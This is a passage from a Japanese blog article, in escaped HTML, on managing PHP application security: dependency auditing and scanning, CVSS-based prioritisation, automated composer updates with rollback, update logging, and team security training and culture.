\/path\/to\/project &amp;&amp; composer audit &gt; \/var\/log\/security-audit.log\n\n# Jenkins\/GitLab CI\/GitHubActions\u3067\u306e\u5b9a\u671f\u5b9f\u884c\n# \u4f8b\uff1a\u6bce\u9031\u6708\u66dc\u65e5\u306e\u671d\u306b\u5b9f\u884c\n# GitLab CI\u8a2d\u5b9a\u4f8b\nsecurity_scan:\n  stage: security\n  script:\n    - composer audit\n  only:\n    - schedules\n  artifacts:\n    paths:\n      - security-report.txt\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-208\">3. \u96c6\u7d04\u30c4\u30fc\u30eb\u306e\u6d3b\u7528<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u4e00\u5143\u7ba1\u7406\u3059\u308b\u305f\u3081\u306e\u30c4\u30fc\u30eb\u3084\u30b5\u30fc\u30d3\u30b9\u3092\u6d3b\u7528\u3059\u308b\u3053\u3068\u3082\u52b9\u679c\u7684\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># OpenVAS\u3092\u4f7f\u7528\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30e3\u30f3\nomp -u admin -w password -h localhost -p 9390 -C 'start_task task-id'\n\n# Docker\u74b0\u5883\u3067\u306eOWASP Dependency Check\u5b9f\u884c\ndocker run --rm \\\n  -v $(pwd):\/src \\\n  -v $(pwd)\/security-reports:\/report \\\n  owasp\/dependency-check \\\n  --scan \/src \\\n  --format \"ALL\" \\\n  --out \/report\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-209\">\u53ce\u96c6\u3057\u305f\u60c5\u5831\u306e\u8a55\u4fa1\u3068\u512a\u5148\u9806\u4f4d\u4ed8\u3051<\/h4>\n\n\n\n<p>\u53ce\u96c6\u3057\u305f\u60c5\u5831\u3092\u9069\u5207\u306b\u8a55\u4fa1\u3057\u3001\u5bfe\u5fdc\u306e\u512a\u5148\u9806\u4f4d\u3092\u6c7a\u3081\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-210\">1. \u8a55\u4fa1\u57fa\u6e96<\/h5>\n\n\n<div id=\"id-6dc2240b-d15e-4b1a-84a4-6f5d0618700d\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u57fa\u6e96<\/th><th>\u8aac\u660e<\/th><\/tr><\/thead><tbody><tr><td>CVSS \u30b9\u30b3\u30a2<\/td><td>\u8106\u5f31\u6027\u306e\u6df1\u523b\u5ea6\u3092\u6570\u5024\u5316\u3057\u305f\u30b9\u30b3\u30a2\uff080-10\uff09<\/td><\/tr><tr><td>\u5f71\u97ff\u7bc4\u56f2<\/td><td>\u81ea\u793e\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u5f71\u97ff\u5ea6\u5408\u3044<\/td><\/tr><tr><td>\u60aa\u7528\u306e\u5bb9\u6613\u3055<\/td><td>\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u306e\u9ad8\u3055<\/td><\/tr><tr><td>\u30d3\u30b8\u30cd\u30b9\u30ea\u30b9\u30af<\/td><td>\u8106\u5f31\u6027\u60aa\u7528\u6642\u306e\u30d3\u30b8\u30cd\u30b9\u3078\u306e\u5f71\u97ff<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p><strong>CVSS\u30b9\u30b3\u30a2\u306e\u89e3\u91c8<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>0.1-3.9: \u4f4e\u30ea\u30b9\u30af<\/li>\n\n\n\n<li>4.0-6.9: \u4e2d\u30ea\u30b9\u30af<\/li>\n\n\n\n<li>7.0-8.9: \u9ad8\u30ea\u30b9\u30af<\/li>\n\n\n\n<li>9.0-10.0: \u91cd\u5927\u30ea\u30b9\u30af<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-211\">2. \u512a\u5148\u9806\u4f4d\u4ed8\u3051\u306e\u4f8b<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u6027\u8a55\u4fa1\u95a2\u6570\u306e\u4f8b\nfunction evaluateVulnerability($vulnerability) {\n    $score = $vulnerability['cvss_score'];\n    $priority = 'low';\n    \n    if ($score &gt;= 9.0) {\n        $priority = 'critical'; \/\/ 24\u6642\u9593\u4ee5\u5185\u306b\u5bfe\u5fdc\n    } elseif ($score &gt;= 7.0) {\n        $priority = 'high';     \/\/ 72\u6642\u9593\u4ee5\u5185\u306b\u5bfe\u5fdc\n    } elseif ($score &gt;= 4.0) {\n        $priority = 'medium';   \/\/ 1\u9031\u9593\u4ee5\u5185\u306b\u5bfe\u5fdc\n    }\n    \n    \/\/ \u4f7f\u7528\u4e2d\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u304b\u3069\u3046\u304b\u3067\u512a\u5148\u5ea6\u3092\u8abf\u6574\n    if ($vulnerability['affected_component'] == 'in_use_direct') {\n        \/\/ \u76f4\u63a5\u4f7f\u7528\u3057\u3066\u3044\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u5834\u5408\u306f\u512a\u5148\u5ea6\u3092\u4e0a\u3052\u308b\n        if ($priority == 'medium') $priority = 'high';\n        if ($priority == 'low') $priority = 'medium';\n    }\n    \n    return $priority;\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-212\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u306e\u7ba1\u7406<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u3092\u52b9\u679c\u7684\u306b\u7ba1\u7406\u3059\u308b\u305f\u3081\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u78ba\u7acb\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-213\">1. \u66f4\u65b0\u30d7\u30ed\u30bb\u30b9\u306e\u69cb\u7bc9<\/h5>\n\n\n\n<p>\u4ee5\u4e0b\u306f\u3001\u52b9\u679c\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u30d7\u30ed\u30bb\u30b9\u306e\u4f8b\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1. \u60c5\u5831\u53ce\u96c6 \u2192 2. \u8a55\u4fa1\u3068\u512a\u5148\u9806\u4f4d\u4ed8\u3051 \u2192 3. \u66f4\u65b0\u8a08\u753b\u306e\u7b56\u5b9a \n\u2192 4. \u30c6\u30b9\u30c8\u74b0\u5883\u3067\u306e\u691c\u8a3c \u2192 5. \u672c\u756a\u74b0\u5883\u3078\u306e\u9069\u7528 \u2192 6. \u7d50\u679c\u306e\u691c\u8a3c\u3068\u5831\u544a\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-214\">2. \u30d1\u30c3\u30b1\u30fc\u30b8\u66f4\u65b0\u306e\u81ea\u52d5\u5316<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Composer\u306e\u66f4\u65b0\u30b9\u30af\u30ea\u30d7\u30c8\u4f8b\n#!\/bin\/bash\n# security-update.sh\n\n# \u73fe\u5728\u306e\u72b6\u614b\u3092\u30b3\u30df\u30c3\u30c8\ngit add composer.lock\ngit commit -m \"Pre-security update commit\"\n\n# \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306e\u5b9f\u884c\ncomposer update --no-dev --with-dependencies\n\n# \u30c6\u30b9\u30c8\u306e\u5b9f\u884c\nphp vendor\/bin\/phpunit\n\n# \u30c6\u30b9\u30c8\u304c\u6210\u529f\u3057\u305f\u5834\u5408\u306e\u307f\u30b3\u30df\u30c3\u30c8\nif [ $? -eq 0 ]; then\n  git add composer.lock\n  git commit -m \"Security updates applied on $(date)\"\n  echo \"Security updates successfully applied.\"\nelse\n  git checkout -- composer.lock\n  echo \"Tests failed. Rolling back security updates.\"\nfi\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-215\">3. \u66f4\u65b0\u5c65\u6b74\u306e\u7ba1\u7406<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u306e\u5c65\u6b74\u3092\u7ba1\u7406\u3059\u308b\u3053\u3068\u3067\u3001\u5c06\u6765\u306e\u53c2\u7167\u3084\u76e3\u67fb\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u30ed\u30b0\u306e\u4f8b\n\/**\n * \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u30ed\u30b0\u3092\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u8a18\u9332\n *\/\nfunction logSecurityUpdate($package, $version_from, $version_to, $cve_ids, $description) {\n    $db = getDatabaseConnection();\n    $stmt = $db-&gt;prepare(\n        \"INSERT INTO security_updates \n        (package, version_from, version_to, cve_ids, description, updated_at) \n        VALUES (?, ?, ?, ?, ?, NOW())\"\n    );\n    $stmt-&gt;execute([$package, $version_from, $version_to, json_encode($cve_ids), $description]);\n}\n\n\/\/ \u4f7f\u7528\u4f8b\nlogSecurityUpdate(\n    'symfony\/http-kernel', \n    '5.4.10', \n    '5.4.20', \n    ['CVE-2022-24894'], \n    'Fixed header injection vulnerability in Response class'\n);\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-216\">\u30c1\u30fc\u30e0\u5185\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u5171\u6709<\/h4>\n\n\n\n<p>\u53ce\u96c6\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u52b9\u679c\u7684\u306b\u30c1\u30fc\u30e0\u5185\u3067\u5171\u6709\u3059\u308b\u3053\u3068\u3082\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-217\">1. \u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc<\/h5>\n\n\n\n<p>\u6708\u6b21\u307e\u305f\u306f\u9031\u6b21\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u30df\u30fc\u30c6\u30a3\u30f3\u30b0\u3092\u958b\u50ac\u3057\u3001\u4ee5\u4e0b\u306e\u5185\u5bb9\u3092\u8b70\u8ad6\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u65b0\u305f\u306b\u767a\u898b\u3055\u308c\u305f\u8106\u5f31\u6027\u3068\u5bfe\u5fdc\u72b6\u6cc1<\/li>\n\n\n\n<li>\u5b9f\u65bd\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8<\/li>\n\n\n\n<li>\u4eca\u5f8c\u306e\u5bfe\u5fdc\u8a08\u753b<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306e\u5171\u6709<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-218\">2. \u60c5\u5831\u5171\u6709\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u60c5\u5831\n\n## \u91cd\u5927\u5ea6: \u9ad8\n\n### \u5f71\u97ff\u30d1\u30c3\u30b1\u30fc\u30b8\n- symfony\/http-foundation (v5.4.0 - v5.4.19)\n\n### \u8106\u5f31\u6027\u8a73\u7d30\n- CVE-2023-XXXXX: HTTP\u30d8\u30c3\u30c0\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\n- \u653b\u6483\u8005\u304c\u7279\u6b8a\u306a\u5165\u529b\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u30d8\u30c3\u30c0\u30fc\u3092\u64cd\u4f5c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\n\n### \u5bfe\u5fdc\u65b9\u6cd5\n1. composer require symfony\/http-foundation:^5.4.20\n2. \u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u5f71\u97ff\u3092\u53d7\u3051\u3066\u3044\u308b\u5834\u5408\u306f\u3001\u5165\u529b\u691c\u8a3c\u3092\u8ffd\u52a0\u3057\u3066\u304f\u3060\u3055\u3044:\n   - src\/Controller\/UserController.php\n   - src\/Service\/ResponseService.php\n\n### \u66f4\u65b0\u671f\u9650\n2025\u5e743\u670825\u65e5\u307e\u3067\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-219\">3. \u77e5\u8b58\u30d9\u30fc\u30b9\u306e\u69cb\u7bc9<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3084\u5bfe\u5fdc\u5c65\u6b74\u3092\u84c4\u7a4d\u3059\u308b\u77e5\u8b58\u30d9\u30fc\u30b9\u3092\u69cb\u7bc9\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u793e\u5185Wiki\/Confluence\u30da\u30fc\u30b8\u306e\u4f5c\u6210<\/li>\n\n\n\n<li>\u904e\u53bb\u306e\u8106\u5f31\u6027\u5bfe\u5fdc\u4e8b\u4f8b\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u5316<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306e\u624b\u9806\u66f8<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-220\">4. \u958b\u767a\u8005\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0<\/h5>\n\n\n\n<p>\u53ce\u96c6\u3057\u305f\u60c5\u5831\u3092\u6d3b\u7528\u3057\u3066\u3001\u958b\u767a\u8005\u5411\u3051\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3092\u5b9f\u65bd\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5b9f\u969b\u306e\u8106\u5f31\u6027\u4e8b\u4f8b\u3092\u4f7f\u3063\u305f\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3<\/li>\n\n\n\n<li>\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u6642\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u30dd\u30a4\u30f3\u30c8<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-221\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u53ce\u96c6\u3068\u66f4\u65b0\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u591a\u69d8\u306a\u60c5\u5831\u6e90\u306e\u6d3b\u7528<\/strong>: \u5358\u4e00\u306e\u60c5\u5831\u6e90\u306b\u4f9d\u5b58\u305b\u305a\u3001\u8907\u6570\u306e\u60c5\u5831\u6e90\u3092\u7d44\u307f\u5408\u308f\u305b\u308b<\/li>\n\n\n\n<li><strong>\u81ea\u52d5\u5316\u3068\u624b\u52d5\u78ba\u8a8d\u306e\u4f75\u7528<\/strong>: \u81ea\u52d5\u5316\u30c4\u30fc\u30eb\u3092\u6d3b\u7528\u3057\u3064\u3064\u3001\u91cd\u8981\u306a\u8106\u5f31\u6027\u306f\u624b\u52d5\u3067\u8a73\u7d30\u3092\u78ba\u8a8d\u3059\u308b<\/li>\n\n\n\n<li><strong>\u5373\u6642\u5bfe\u5fdc\u3068\u8a08\u753b\u7684\u5bfe\u5fdc\u306e\u30d0\u30e9\u30f3\u30b9<\/strong>: \u91cd\u5927\u306a\u8106\u5f31\u6027\u306f\u5373\u6642\u5bfe\u5fdc\u3057\u3001\u305d\u306e\u4ed6\u306f\u8a08\u753b\u7684\u306b\u5bfe\u5fdc\u3059\u308b<\/li>\n\n\n\n<li><strong>\u7d99\u7d9a\u7684\u306a\u5b66\u7fd2<\/strong>: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30f3\u30c9\u3084\u65b0\u305f\u306a\u653b\u6483\u624b\u6cd5\u306b\u95a2\u3059\u308b\u77e5\u8b58\u3092\u5e38\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u56fa\u6709\u306e\u30ea\u30b9\u30af\u8a55\u4fa1<\/strong>: \u4e00\u822c\u7684\u306a\u8a55\u4fa1\u3060\u3051\u3067\u306a\u304f\u3001\u81ea\u793e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u56fa\u6709\u306e\u30ea\u30b9\u30af\u3092\u8003\u616e\u3059\u308b<\/li>\n<\/ol>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u306e\u53ce\u96c6\u3068\u66f4\u65b0\u3092\u7d44\u7e54\u7684\u306a\u30d7\u30ed\u30bb\u30b9\u3068\u3057\u3066\u78ba\u7acb\u3059\u308b\u3053\u3068\u3067\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u6700\u65b0\u304b\u3064\u5b89\u5168\u306a\u72b6\u614b\u306b\u4fdd\u3064\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306f\u4e00\u5ea6\u9650\u308a\u306e\u53d6\u308a\u7d44\u307f\u3067\u306f\u306a\u304f\u3001\u7d99\u7d9a\u7684\u306a\u6d3b\u52d5\u3068\u3057\u3066\u4f4d\u7f6e\u3065\u3051\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-222\">\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u5411\u4e0a\u7b56<\/h3>\n\n\n\n<p>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u5358\u306a\u308b\u6280\u8853\u7684\u306a\u554f\u984c\u3067\u306f\u306a\u304f\u3001\u7d44\u7e54\u6587\u5316\u3068\u30c1\u30fc\u30e0\u5168\u4f53\u306e\u53d6\u308a\u7d44\u307f\u306b\u3088\u3063\u3066\u5927\u304d\u304f\u5f71\u97ff\u3055\u308c\u307e\u3059\u3002\u6700\u3082\u512a\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c4\u30fc\u30eb\u3092\u5c0e\u5165\u3057\u3066\u3044\u3066\u3082\u3001\u30c1\u30fc\u30e0\u30e1\u30f3\u30d0\u30fc\u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u610f\u8b58\u3057\u3066\u3044\u306a\u3051\u308c\u3070\u3001\u8106\u5f31\u6027\u306e\u6df7\u5165\u3092\u9632\u3050\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306b\u304a\u3051\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u3092\u5411\u4e0a\u3055\u305b\u308b\u305f\u3081\u306e\u5b9f\u8df5\u7684\u306a\u6226\u7565\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-223\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6587\u5316\u306e\u69cb\u7bc9<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-224\">1. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30d5\u30a1\u30fc\u30b9\u30c8\u30fb\u30de\u30a4\u30f3\u30c9\u30bb\u30c3\u30c8\u306e\u91b8\u6210<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u5f8c\u4ed8\u3051\u3067\u306f\u306a\u304f\u3001\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u306e\u6700\u521d\u304b\u3089\u8003\u616e\u3059\u3079\u304d\u8981\u7d20\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u300c\u6a5f\u80fd\u304c\u52d5\u304f\u3060\u3051\u3067\u306f\u4e0d\u5341\u5206\u3002\u5b89\u5168\u306b\u52d5\u304f\u3053\u3068\u304c\u5fc5\u8981\u300d\u3068\u3044\u3046\u8003\u3048\u65b9\u3092\u6d78\u900f\u3055\u305b\u308b\n<\/pre>\n\n\n\n<p>\u5b9f\u8df5\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30c1\u30e3\u30f3\u30d4\u30aa\u30f3\u5236\u5ea6<\/strong>\uff1a\u5404\u958b\u767a\u30c1\u30fc\u30e0\u306b1\u540d\u4ee5\u4e0a\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30c1\u30e3\u30f3\u30d4\u30aa\u30f3\u3092\u6307\u540d\u3057\u3001\u30c1\u30fc\u30e0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u5411\u4e0a\u306e\u65d7\u632f\u308a\u5f79\u3068\u3059\u308b<\/li>\n\n\n\n<li><strong>\u7d4c\u55b6\u5c64\u304b\u3089\u306e\u30b3\u30df\u30c3\u30c8\u30e1\u30f3\u30c8<\/strong>\uff1a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u91cd\u8981\u6027\u3092\u7d4c\u55b6\u5c64\u304c\u660e\u78ba\u306b\u793a\u3057\u3001\u5fc5\u8981\u306a\u30ea\u30bd\u30fc\u30b9\u3092\u63d0\u4f9b\u3059\u308b<\/li>\n\n\n\n<li><strong>\u6210\u529f\u306e\u5b9a\u7fa9\u306e\u5909\u66f4<\/strong>\uff1a\u300c\u6a5f\u80fd\u306e\u5b9f\u88c5\u300d\u3060\u3051\u3067\u306a\u304f\u300c\u5b89\u5168\u306a\u6a5f\u80fd\u306e\u5b9f\u88c5\u300d\u3092\u6210\u529f\u306e\u5b9a\u7fa9\u3068\u3059\u308b<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-225\">2. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3KPI\uff08\u91cd\u8981\u696d\u7e3e\u8a55\u4fa1\u6307\u6a19\uff09\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u5177\u4f53\u7684\u306a\u76ee\u6a19\u3092\u8a2d\u5b9a\u3057\u3001\u9032\u6357\u3092\u6e2c\u5b9a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3KPI\u306e\u4f8b\n$securityKPIs = [\n    'static_analysis_coverage' =&gt; '95%\u4ee5\u4e0a\u306e\u30b3\u30fc\u30c9\u30ab\u30d0\u30ec\u30c3\u30b8',\n    'critical_vulnerabilities' =&gt; '0\u4ef6',\n    'security_bugs_fixed' =&gt; '\u767a\u898b\u304b\u308972\u6642\u9593\u4ee5\u5185\u306b\u4fee\u6b63',\n    'security_training' =&gt; '\u5168\u958b\u767a\u8005\u304c\u5e74\u959310\u6642\u9593\u4ee5\u4e0a\u306e\u5b66\u7fd2\u3092\u5b8c\u4e86',\n];\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-226\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6559\u80b2\u3068\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-227\">1. \u7d99\u7d9a\u7684\u306a\u5b66\u7fd2\u30d7\u30ed\u30b0\u30e9\u30e0<\/h5>\n\n\n\n<p>\u4e00\u5ea6\u9650\u308a\u306e\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3067\u306f\u306a\u304f\u3001\u7d99\u7d9a\u7684\u306a\u5b66\u7fd2\u306e\u6a5f\u4f1a\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>PHP\u7279\u5316\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u4f8b<\/strong>\uff1a<\/p>\n\n\n<div id=\"id-b28bd1fa-7e4b-44b0-bd0f-f004f39dce04\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u30c8\u30d4\u30c3\u30af<\/th><th>\u5f62\u5f0f<\/th><th>\u983b\u5ea6<\/th><\/tr><\/thead><tbody><tr><td>SQL \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u5bfe\u7b56<\/td><td>\u30cf\u30f3\u30ba\u30aa\u30f3\u30ef\u30fc\u30af\u30b7\u30e7\u30c3\u30d7<\/td><td>\u56db\u534a\u671f\u3054\u3068<\/td><\/tr><tr><td>XSS \u3068 CSRF \u5bfe\u7b56<\/td><td>\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u30bb\u30c3\u30b7\u30e7\u30f3<\/td><td>\u6708\u6b21<\/td><\/tr><tr><td>\u30bb\u30ad\u30e5\u30a2\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406<\/td><td>\u30e9\u30f3\u30c1&amp;\u30e9\u30fc\u30f3<\/td><td>\u6708\u6b21<\/td><\/tr><tr><td>PHP \u306e\u5b89\u5168\u306a\u8a2d\u5b9a<\/td><td>\u30aa\u30f3\u30e9\u30a4\u30f3\u30b3\u30fc\u30b9<\/td><td>\u534a\u5e74\u3054\u3068<\/td><\/tr><tr><td>\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/td><td>Web\u30bb\u30df\u30ca\u30fc<\/td><td>\u56db\u534a\u671f\u3054\u3068<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h5 class=\"wp-block-heading\" id=\"i-228\">2. 